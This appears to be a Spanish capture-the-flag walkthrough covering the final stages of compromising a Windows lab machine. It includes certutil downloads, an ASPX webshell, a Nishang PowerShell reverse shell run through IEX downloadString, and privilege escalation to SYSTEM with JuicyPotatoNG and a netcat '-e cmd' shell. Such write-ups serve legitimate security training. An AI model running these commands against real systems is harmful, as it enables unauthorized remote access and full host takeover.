  NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
  BUILTIN\Administrators:(I)(F)
  BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
  BUILTIN\Users:(I)(RX)
  BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
  CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Para acceder tenemos que subir una webshell, yo voy a usar el cmd.aspx de seclists

Subimos el cmd.aspx a la máquina víctima

PS C:\inetpub\development> certutil.exe -urlcache -f -split http://10.10.14.105/cmd.aspx
****  Online  ****
  0000  ...
  0578
CertUtil: -URLCache command completed successfully.
PS C:\inetpub\development> 

Al acceder a la web podemos ejecutar comandos

Usemos el script de nishang que empleamos anteriormente para acceder, hay que ejecutarlo en la webshell

Pongamonos en escucha por netcat

sudo rlwrap nc -lvnp 4444
[sudo] contraseña para voidnet: 
listening on [any] 4444 ...

Ahora es ejecutar el script de nishang en la web shell

cmd /c powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.105/sh.ps1')

Volvamos a netcat y vemos que ganamos acceso

Hacemos whoami /priv y podemos ver que en el apartado SeImpersonatePrivilege está Enabled, por esa vía podemos escalar los privilegios


PS C:\windows\system32\inetsrv> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
PS C:\windows\system32\inetsrv> 

Ahora para escalar los privilegios nos iremos al directorio c:\Windows\Temp, yo voy usar el nc.exe que viene con el sectlists y el JuicyPotatoNG.exe

https://github.com/antonioCoco/JuicyPotatoNG/releases/tag/v1.1

Ya estando ahí con certutil.exe descargamos el nc.exe y el JuicyPotato.exe

PS C:\Windows\Temp> certutil.exe -urlcache -f http://10.10.14.105/nc.exe nc.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.
PS C:\Windows\Temp> certutil.exe -urlcache -f http://10.10.14.105/JuicyPotatoNG.exe JuicyPotatoNG.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.

Ejecutemos el JuicyPotato.exe pero antes tienen que ponerse en escucha por netcat

PS C:\Windows\Temp> ./JuicyPotatoNG.exe -t * -p "C:\Windows\temp\nc.exe" -a '10.10.14.105 4444 -e cmd'

Nos fijamos en el netcat y vemos que recibimos la conexión como nt authority\system

 sudo rlwrap nc -lvnp 4444
[sudo] contraseña para voidnet: 
listening on [any] 4444 ...
connect to [10.10.14.105] from (UNKNOWN) [10.10.11.187] 52357
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\>whoami
whoami
nt authority\system

Ya que somos root nos vamos al directorio C:\Users\Administrator\Desktop para visualizar la flag de root

C:\Users\Administrator\Desktop>type root.txt
type root.txt
43*******************************6

C:\Users\Administrator\Desktop>

Eso es todo, espero que se haya entendido

Gracias por leer :D.